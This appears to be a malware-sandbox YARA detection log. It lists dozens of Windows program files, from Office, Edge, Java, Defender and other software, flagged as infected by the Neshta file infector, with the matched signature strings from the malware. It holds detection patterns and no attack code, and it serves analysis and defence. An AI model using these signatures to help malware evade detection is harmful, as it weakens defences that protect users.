C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Windows\svchost.com	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Windows\svchost.com	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Users\user\AppData\Local\Temp\chrome.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Users\user\AppData\Local\Temp\chrome.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Au3Info.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Au3Info.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Au3Check.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Au3Check.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
